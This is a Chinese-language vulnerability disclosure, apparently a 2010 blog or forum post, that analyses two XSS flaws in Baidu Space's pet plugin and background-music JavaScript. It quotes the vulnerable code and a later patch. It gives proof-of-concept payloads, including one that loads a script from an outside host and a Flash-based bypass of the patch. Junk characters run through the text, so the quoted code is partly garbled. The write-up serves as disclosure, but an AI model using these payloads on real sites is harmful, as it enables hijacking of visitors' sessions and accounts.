百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
0 t( T6 H; f! x' S) K# W/ M
4 q7 K }. ?0 g7 s" |+ ?. y3 `1.在http://hi.baidu.com/p__z/modify/sppet中,用户可以输入留言管理,提交后,未过滤直接储存. * Y h. q/ h4 v9 K' M
2.在http://hi.baidu.com/ui/scripts/pet/pet.js中 ! r* b! s$ h, N2 g9 @! G2 t9 s
/ u. c9 u+ I. p' K( B) h
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
# ], b1 K4 F+ e5 J* E7 x其中BdUtil.insertWBR为 . L" P* f, B3 | a5 y
function(text, step) {
' l e5 g1 C, P8 d+ a# n var textarea = textAreaCache || getContainer();
: v8 `& p% K. F: D- d+ q' s8 m if (!textarea) { 2 y% ^% c0 B' Y
return text; 2 }3 k7 w$ e" o; M
} ; o {8 o& X+ N0 L6 d+ {1 Y
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">"); ' w9 V) U8 P1 I/ Y0 N3 p
var string = textarea.value; s A) |% H$ p9 q! y) D
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
; C# E1 n% W3 R* C+ U var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
6 R3 |! e' A D/ f/ v, I; J return result;
$ O8 z( W; o; d4 d5 I} . x$ i5 U3 L# B2 {) v
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS. 0 G" T6 Y# z5 w" ]# b6 [8 }& B) ]9 ^
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)> + o( i3 |' t! H* X: u% r, b
$ `4 ]" Q" f5 i# L1 D& R二:creatbgmusic() Dom-Xss Bug
! n4 b9 x# R# |- c' E; E3 z* J百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞 r! W2 s) p1 |, h4 j9 X, q
& V, M, t+ E5 z) q, z0 p/ h在http://hi.baidu.com//js/bgmusic.js?v=1.0.js 代码: 2 n8 f. k& Z, f' Q7 U( X- \" X) V- o
! Y: ?" {0 a5 qfunction creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
& Y+ a. d& P( M, E3 w3 L9 j+ \ //传入的murl赋值到bgmusic1和bgmusic2中 ; t8 g/ b0 r, e1 f7 C: A: |
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
) c4 i9 v$ D' t3 D9 U var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
+ F. m+ t8 I/ s0 K, @2 d* O8 j if (musicnum <= 1) {
4 A# A" s& \" e) G+ s! s bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
8 i$ B0 k6 a6 S$ r0 x/ ]# c }
% [( f! A3 K9 h" J6 s/ P bgmusic1 += "</OBJECT>";
$ l' |& V4 I Z/ @; y var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\""; 7 q; R, C. _' a2 r) A
if (musicnum <= 1) { ' Q9 a" T% N$ I% b: F* O, j
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" "; ) g9 F; g4 R, u& Q
} * }- c% I% z4 _+ H- |
bgmusic2 += "> </EMBED>"; + i6 U' r/ \4 e+ x/ h* [' w2 s
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
3 O; g. H; c' |& I( V- u var bgmus = detectWMP(); 2 T# N$ `# c, P+ P/ S( x* ?. o
if (functype == "FckMusicHelper") { , ^# v, q+ X/ B4 n9 j- m( D
if (bgmus.installed) { 2 q' E, e9 V! K# a: w1 D9 u6 j# g
if (bgmus.type == "IE") { C' ]/ o7 i! b6 p) w
return bgmusic1; . o R+ K7 h* c* ] M4 _
} else if (bgmus.type == "NS") { # D- q- e" l3 E% Y: h; n7 a
return bgmusic2;
0 K+ \& I3 d I* s } & ?. Y9 }: ?. a. G
} else {
, q( J( I) K# j# i. R; g. P j6 P return bgmusic3; * {4 I1 `- z3 [, \( J8 l2 ]
} # j/ ^' O$ b$ K1 u1 B: P: K/ K+ m0 v
} else {
- I" E% n$ N0 ] a9 J" B3 a, D* r if (bgmus.installed) { / ]. P( n0 ^) y9 w5 H3 p! a, c# i& M
//document.write 直接输出bgmusic变量 导致xss
7 p- @0 o4 I2 q" K, A$ h if (bgmus.type == "IE") { 4 p7 x( e+ B# p2 l
document.write(bgmusic1);
; q/ ]& A3 k1 E& {/ g } else if (bgmus.type == "NS") {
' R" V2 Z2 D) i6 b document.write(bgmusic2);
' k6 A( C+ \. s* t3 D, ]. p }
! Q8 ^9 ]/ U t, y3 c$ s% J } else {
1 K& q6 Z" t6 t" M! M" C document.write(bgmusic3);
. U4 N$ }- `1 j1 J } 5 d" W. F# ~7 ~2 j4 a+ }
return ""; j$ I' \( b3 [7 j4 s7 ?" d" M
} & q6 s a$ |/ W$ W. p$ o
} % g" A" m6 W; ^
9 |) B0 I% H, g. y
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下: % U2 t% V5 w9 {! n: v2 Z5 [
# \/ U W+ N& n: h' k' Nfunction initBlogTextForFCK(){ # `: n1 v C6 L: E9 n8 |9 l
//fck init music
5 K4 e# E1 P6 |$ x/ b8 pif(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}} : K1 _/ [0 M# f0 ~
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组 ; g3 l$ e; [6 |5 s0 J4 G
var isAutoPlay=true; 6 F3 Y* A( ?# F* {6 K2 S
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历. + n7 J+ b' B2 l Q4 Q9 @4 B
var img=imgBox;
8 [- m- O; j/ I* C5 P- O if(img.getAttribute(’rel’)){
& r4 X2 x6 |1 n" r" U' a Q var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc 0 _' ?) V$ }- ~6 z I% n2 x1 v0 t
var musicDiv = document.createElement("SPAN");
& o" ^& ]) P' b var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
5 `6 D0 w1 w. C% s1 ^0 y: E" h9 k2 z * ?: C4 i1 M& B2 e( h9 ]
..........................
( ~ X7 w6 Y% G" I: v, D
" H+ H1 ~2 Y% |0 t //直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
) K. D' a- B3 h" p var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
" l C( |# O! \ l4 J shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
9 v+ c$ w( }$ ?: k musicDiv.innerHTML=shtml; 0 F; y i# {, C" Z; L
i--;n--;
" P/ H% `5 d" ^$ R } $ D% b! n3 h$ j0 w' Q
} ) J7 z3 c1 m9 P
8 x- @: ~4 G6 o: y* e
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
+ @! V2 {+ a+ z, m1 o
6 ]% k; |2 u w& F! L测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/> * A# D) O9 x. ]
$ Q2 H6 I! ~+ O+ F. z& h, C
等待官方补丁
# x2 H' i3 w& d. p' z$ ^" A0 G1 r2 p' R/ w9 a7 {1 Y
update 2010年5月13日
4 Z v1 e. _. b* P- v% j
* d+ O# P y5 S2 {2 W4 ^官方补丁:
% w. X. Y# N: w" C3 B0 D: Q) I1 `6 |9 U0 K& ?& Z% m
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’); 1 o% m0 a. c/ G, u7 n9 z: ]
改为:
+ A C4 d- M* Y& S1 e/ u& Jvar shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
6 K& e( v2 e q5 H5 `2 u* ]1 W9 U, u' J
update 2010年5月13日 21:50:37
p- x( Q7 {1 I2 C( B2 C9 s% {' Y, O0 Z( ?) R+ q
补丁存在漏洞 没有过滤" 可以继续跨: 5 J' V% d. m0 O* t! \5 ?) l
1 ?' f; L* y. s8 l4 i
NEW POC:
/ v4 g/ A, v: f# g& F- P: _; P3 A7 Y! u8 n2 h: J- Z* o
<img width="200" height="45" _fcksavedurl=" http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’http://www.xsser.net/pz/js.swf" ) j; o; [- [& B: s
7 [( g' G+ d9 b o; l
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
: f+ _3 l. C" f k4 M3 w6 @# [" @ / U( w, @3 \7 i" I
|